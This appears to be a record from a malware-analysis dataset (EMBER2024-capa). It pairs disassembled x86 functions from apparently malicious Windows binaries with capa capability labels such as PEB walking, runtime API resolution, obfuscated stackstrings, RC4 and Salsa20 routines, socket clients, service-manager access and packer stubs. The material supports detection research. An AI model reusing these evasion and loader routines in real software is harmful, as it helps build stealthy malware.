joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011c6
Capabilities:
Access peb ldr_data
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
call fcn.0040114f
call section..text
movzx eax, al
cmp eax, 1
jne 0x4011e9
push 5
pop eax
jmp 0x4013b8
and dword [ebp - 0x40], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x24], 0
and dword [ebp - 0x44], 0
and dword [ebp - 8], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0x330
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, eax
add ebx, 0xc
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x30]
mov ecx, 0x18
xor esi, esi
xor ebx, ebx
add bl, byte [edi + ecx - 1]
add esi, ebx
loop 0x401234
cmp esi, dword [ebp - 0x2c]
je 0x401249
mov eax, dword [eax]
cmp eax, ebx
jne 0x40122a
mov eax, dword [eax + 0x18]
mov dword [ebp - 8], eax
nop
popal
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x488f18
push dword [0x488f00]
push 0x488f04
push dword [0x488f18]
push 0x488f1c
call fcn.0040102b
add esp, 0x14
push 0x488f1c
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
push 0x488f38
push dword [0x488f00]
push 0x488f04
push dword [0x488f38]
push 0x488f3c
call fcn.0040102b
add esp, 0x14
push 0x488f3c
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push 0x488f58
push dword [0x488f00]
push 0x488f04
push dword [0x488f58]
push 0x488f5c
call fcn.0040102b
add esp, 0x14
push 0x488f5c
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [0x40402c]
mov dword [ebp - 0x10], eax
push 4
push 0x1000
mov eax, dword [ebp - 0x10]
inc eax
push eax
push 0
call dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0x404030
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x10]
push eax
push dword [section..data]
push 0x404004
push dword [ebp - 0x10]
push dword [ebp - 4]
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 4], eax
and dword [ebp - 0x34], 0
lea eax, [ebp - 0x34]
push eax
push 0x20
push dword [0x40402c]
push dword [ebp - 4]
call dword [ebp - 0x24]
push 0x4046fc
push dword [0x4046d0]
push 0x4046d4
push dword [0x4046fc]
push 0x404700
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [0x488fac], eax
and dword [ebp - 0x28], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 1
push dword [ebp - 0x28]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call dword [0x488fac]
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Get hostname
Get networking interfaces
Identify system language via api
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x344
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x407020
push 0x407088
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetVersionExA
push 0x407078
mov dword [esp + 0x88], eax
call esi
push eax
call edi
push 0x407010
push 0x407088
mov ebx, eax
call esi
push eax
call edi
jmp loc.00410ee7

Function at 0x401940
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8

Function at 0x401ad6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
xor ebx, ebx
cmp dword [0x407894], esi
mov ecx, dword [edi + 0x108]
je fcn.00401b63
and dword [0x407894], esi
mov eax, dword [edi + 0x114]
sub eax, 5
je 0x401b1e
dec eax
je 0x401b17
dec eax
je 0x401b10
dec eax
jne fcn.00401b36
jmp loc.00411844
jmp loc.00410d4a
mov ebx, 0x404810
jmp fcn.00401b36
jmp loc.00410b67

Function at 0x401b67
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
xor ebx, ebx
cmp dword [0x407894], ebx
mov ecx, dword [esi + 0x288]
je fcn.00401bbf
jmp loc.00410e6f

Function at 0x401bc2
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
push 0xf
pop ecx
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
lea edi, [ebp - 0x40]
mov ebx, dword [ebp + 0xc]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, ebx
xor eax, eax
movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 8]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp + 0xe]
push eax
stosw word es:[edi], ax
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
cmp ebx, 1
pop ecx
jb 0x401c5f
jmp loc.0041181e
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401c64
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407164
push 0x407180
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x407188
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
cmp dword [0x407464], 0
mov dword [ebp - 8], eax
jmp loc.0041172b
Function at 0x401cd0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0xd7]
push str.3d3d3R3m1h3c0eQJEhYQFxRD
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004018f0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xd8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xd8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4077d8
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
mov ebx, 0x4074ec
test eax, eax
je fcn.00401e03
push 0x20
xor eax, eax
pop ecx
mov edi, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xd8]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strcspn]
push eax
lea eax, [ebp - 0xd8]
push eax
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x14
cmp dword [0x40777c], 1
jmp loc.004107f9

Function at 0x401e67
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp + 0xc]
push 4
push eax
push 8
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne fcn.00401eb8
push eax
lea ecx, [ebp + 0xc]
push eax
push ecx
push eax
push eax
lea eax, [ebp - 0xc]
push 0xc
push eax
push 0x98000004
push dword [ebp + 8]
mov dword [ebp - 0xc], 1
jmp loc.0040fdd2

Function at 0x402217
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x384
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407144
push str.GetShortPathNameA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetEnvironmentVariableA
push ebx
mov dword [ebp - 0x2c], eax
call esi
push eax
call edi
push 0x407304
push ebx
mov dword [ebp - 0x30], eax
call esi
push eax
call edi
push 0x4071e0
push ebx
mov dword [ebp - 0x38], eax
call esi
push eax
call edi
jmp loc.0040fb3e

Function at 0x402446
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0x10]
push esi
xor esi, esi
test ebx, ebx
jne 0x40245f
push 1
pop eax
jmp fcn.004024d4
mov eax, dword [0x408498]
push 0
mov dword [ebp - 0x100], eax
push 0
lea eax, [ebp - 0x104]
push 0
push eax
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x104], 1
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4024cd
test eax, eax
je 0x40245f
jmp loc.00411179
xor eax, eax
jmp loc.0040fc5a
Function at 0x402c37
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402cac
push edi
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
lea edi, [ebp - 0xb]
mov byte [ebp - 0xc], bl
mov dword [ebp + 8], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, dword [ebp + 0xc]
cmp edi, ebx
jbe 0x402ca4
jmp loc.0040f458
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402f1b
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407144
push str.GetLastError
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.ExitProcess
push ebx
call esi
push eax
call edi
push str.GetCurrentThreadId
push ebx
call esi
push eax
call edi
push str.CreateMutexA
push ebx
call esi
push eax
call edi
push str.GetModuleFileNameA
push ebx
call esi
push eax
call edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push str.Sleep
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x41
xor eax, eax
pop ecx
lea edi, [ebp - 0x11c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x11c]
push 0x104
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 8]
jmp loc.0040f1b0
Function at 0x403000
Capabilities:
Contain obfuscated stackstrings
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
push str.RegCloseKey
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.RegOpenKeyExA
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
push 0x40
mov dword [ebp - 0x30], eax
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x133]
mov byte [ebp - 0x134], dl
mov byte [ebp - 0x24], 0x53
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x24]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 0x23], 0x59
mov byte [ebp - 0x22], 0x53
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4d
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x43
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x76
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x5c
mov byte [ebp - 2], dl
lea ebx, [ebp - 0x134]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
lea ebx, [ebp - 0x134]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.Serxiev
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x2c]
mov ecx, ebx
push eax
push 0xf003f
lea eax, [ebp - 0x134]
and ecx, 3
push edx
push eax
rep movsb byte es:[edi], byte [esi]
push closesocket
call dword [ebp - 0x30]
pop edi
pop esi
test eax, eax
pop ebx
jne 0x40315d
jmp loc.004112a1
xor eax, eax
leave
ret

Function at 0x403161
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406160
push 0x403950
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x468
push ebx
push esi
push edi
push str.RegCloseKey
mov ebx, str.ADVAPI32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x340], eax
push str.OpenSCManagerA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x364], eax
jmp loc.0040f9e3
Function at 0x403920
Capabilities:
Packed with generic packer

Disassembly:
cmp cl, 0x40
jae 0x40393a
cmp cl, 0x20
jae 0x403930
jmp loc.00411326
mov eax, edx
xor edx, edx
and cl, 0x1f
shr eax, cl
ret
xor eax, eax
xor edx, edx
ret

Function at 0x403956
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406170
push 0x403950
mov eax, dword fs:[0]
push eax
jmp loc.00410f46

Function at 0x403b30
Capabilities:
Packed with generic packer

Disassembly:
push esi
push edi
push str.gethostbyname
push str.WS2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [esp + 0xc]
mov esi, eax
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x403b6b
push edi
call esi
test eax, eax
jne 0x403b64
pop edi
pop esi
ret
jmp loc.00410317
pop edi
pop esi
ret

Function at 0x403b70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.lstrcatA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.lstrcpyA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0x40]
push 0x104
push eax
call ebx
mov al, 0x65
mov dl, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x26], dl
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x38], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
mov cl, 0x72
mov bl, 0x6c
mov dl, 0x78
xor al, al
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x50
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x27], 0x20
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], 0x2e
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3d], al
mov byte [esp + 0x42], al
lea ecx, [esp + 0x10]
lea edx, [esp + 0x40]
push ecx
push edx
call ebp
mov ecx, dword [esp + 0x148]
lea eax, [esp + 0x40]
push eax
push ecx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x134
ret
Function at 0x4055a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Packed with generic packer

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055be
or eax, eax
pop esi
add esp, 0x10
ret
jmp loc.0040f618

Function at 0x40f279
Capabilities:
Packed with generic packer

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
mov eax, 0x404124
mov eax, eax
pop eax
add ah, dh
dec eax
push 0
leave
popal
popfd
call dword [ebp - 0x10448]
jmp fcn.0040552a

Function at 0x4102cf
Capabilities:
Packed with generic packer

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
mov edi, edi
mov edx, 0x4017c8
mov ecx, 0x4017c4
mov edx, 0x4017c0
mov ecx, 0x4017bc
push eax
push ecx
push ecx
push 0
mov ecx, eax
mov edx, loc.004017d0
mov ecx, 0x4017cc
mov edx, 0x4017d8
mov ecx, 0x4017d4
add esp, 0x10
leave
popal
popfd
mov eax, dword [esp + 4]
test eax, eax
jmp loc.00404366
Function at 0x6d8c3440
Capabilities:
Encrypt data using salsa20 or chacha
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0x6da1d974]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x6d8c3610
mov eax, dword [esp + 8]
mov dword [eax], 0x61707865
mov dword [eax + 4], 0x61707865
mov dword [eax + 8], 0x61707865
mov dword [eax + 0xc], 0x61707865
mov dword [eax + 0x10], 0x3320646e
mov dword [eax + 0x14], 0x3320646e
mov dword [eax + 0x18], 0x3320646e
mov dword [eax + 0x1c], 0x3320646e
mov dword [eax + 0x20], 0x79622d32
mov dword [eax + 0x24], 0x79622d32
mov dword [eax + 0x28], 0x79622d32
mov dword [eax + 0x2c], 0x79622d32
mov dword [eax + 0x30], 0x6b206574
mov dword [eax + 0x34], 0x6b206574
mov dword [eax + 0x38], 0x6b206574
mov dword [eax + 0x3c], 0x6b206574
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
mov dword [eax + 0x40], edx
mov dword [eax + 0x44], edx
mov dword [eax + 0x48], edx
mov dword [eax + 0x4c], edx
mov edx, dword [ecx + 4]
mov dword [eax + 0x50], edx
mov dword [eax + 0x54], edx
mov dword [eax + 0x58], edx
mov dword [eax + 0x5c], edx
mov edx, dword [ecx + 8]
mov dword [eax + 0x60], edx
mov dword [eax + 0x64], edx
mov dword [eax + 0x68], edx
mov dword [eax + 0x6c], edx
mov edx, dword [ecx + 0xc]
mov dword [eax + 0x70], edx
mov dword [eax + 0x74], edx
mov dword [eax + 0x78], edx
mov dword [eax + 0x7c], edx
mov edx, dword [ecx + 0x10]
mov dword [eax + 0x80], edx
mov dword [eax + 0x84], edx
mov dword [eax + 0x88], edx
mov dword [eax + 0x8c], edx
mov edx, dword [ecx + 0x14]
mov dword [eax + 0x90], edx
mov dword [eax + 0x94], edx
mov dword [eax + 0x98], edx
mov dword [eax + 0x9c], edx
mov edx, dword [ecx + 0x18]
mov dword [eax + 0xa0], edx
mov dword [eax + 0xa4], edx
mov dword [eax + 0xa8], edx
mov dword [eax + 0xac], edx
mov ecx, dword [ecx + 0x1c]
mov dword [eax + 0xb0], ecx
mov dword [eax + 0xb4], ecx
mov dword [eax + 0xb8], ecx
mov dword [eax + 0xbc], ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 0xc0], ecx
lea edx, [ecx + 1]
mov dword [eax + 0xc4], edx
lea edx, [ecx + 2]
mov dword [eax + 0xc8], edx
add ecx, 3
mov dword [eax + 0xcc], ecx
mov dword [eax + 0xd0], 0
mov dword [eax + 0xd4], 0
mov dword [eax + 0xd8], 0
mov dword [eax + 0xdc], 0
mov dword [eax + 0xe0], 0
mov dword [eax + 0xe4], 0
mov dword [eax + 0xe8], 0
mov dword [eax + 0xec], 0
mov dword [eax + 0xf0], 0
mov dword [eax + 0xf4], 0
mov dword [eax + 0xf8], 0
mov dword [eax + 0xfc], 0
ret
call fcn.6d91fd10
jmp fcn.6d8c3440
Function at 0x6d8c4a90
Capabilities:
Access peb ldr_data

Disassembly:
sub esp, 0x34
mov eax, dword [0x6da1d974]
mov eax, dword fs:[eax]
mov eax, dword [eax]
mov dword [esp + 0x2c], eax
mov ecx, dword [eax + 0x18]
cmp dword [ecx + 0x50], eax
je 0x6d8c4ada
call fcn.6d8f6be0
lea eax, [0x6d966147]
mov dword [esp], eax
mov dword [esp + 4], 0x1e
call fcn.6d8f7450
call fcn.6d8f6c40
mov dword [esp], 2
call fcn.6d8f1d40
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax + 0x18]
mov edx, dword [ecx]
mov edx, dword [edx + 0x1c]
mov dword [esp], ecx
mov dword [esp + 4], edx
mov byte [esp + 8], 0
call fcn.6d8c4880
mov eax, dword [0x6da1d974]
mov eax, dword fs:[eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
nop
inc dword [eax + 0x140]
mov eax, dword [0x6da1d974]
mov eax, dword fs:[eax]
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
mov edx, eax
nop
mov dword [ecx + 0xb8], eax
mov eax, dword [edx + 0x18]
mov dword [edx + 0x84], eax
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax + 0x18]
mov dword [esp + 0x30], ecx
test byte [ecx], al
lea esi, [ecx + 0x234]
lea edi, [esp + 0xc]
call fcn.6d9217f4
mov ecx, dword [eax + 0x38]
mov dword [esp + 0x28], ecx
mov edx, dword [eax + 0x3c]
mov dword [esp + 0x24], edx
call fcn.6d91e390
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax + 0x18]
mov byte [ecx + 0x8c], 0
mov ecx, dword [eax + 0x18]
movzx edx, byte [ecx + 0x8d]
test dl, dl
je 0x6d8c4b7a
mov byte [ecx + 0x8e], 0
mov ecx, dword [eax + 0x18]
test byte [ecx], al
add ecx, 0x374
mov dword [esp], ecx
mov dword [esp + 4], 0
call fcn.6d8c2d50
mov eax, dword [esp + 0x2c]
movzx ecx, byte [eax + 0x71]
test cl, cl
jne 0x6d8c4c46
mov eax, dword [esp + 0x38]
mov dword [esp], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 8], eax
call fcn.6d8c4c60
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax + 0x18]
mov byte [ecx + 0x8c], 1
call fcn.6d901d10
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax + 0x18]
movzx edx, byte [ecx + 0x8d]
test dl, dl
je 0x6d8c4bed
mov byte [ecx + 0x8e], 1
mov ecx, dword [eax + 0x18]
mov edx, dword [esp + 0x30]
cmp ecx, edx
jne 0x6d8c4c30
mov dword [esp], ecx
call fcn.6d8f35b0
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.6d8fff30
mov eax, dword [esp + 0x2c]
mov eax, dword [eax + 0x18]
test byte [eax], al
lea edi, [eax + 0x234]
lea esi, [esp + 0xc]
call fcn.6d9217f4
add esp, 0x34
ret
lea eax, [0x6d967659]
mov dword [esp], eax
mov dword [esp + 4], 0x26
call fcn.6d8f4fd0
lea eax, [0x6d955280]
mov dword [esp], eax
lea eax, [0x6d97ebc0]
mov dword [esp + 4], eax
call fcn.6d8f4560
nop
int3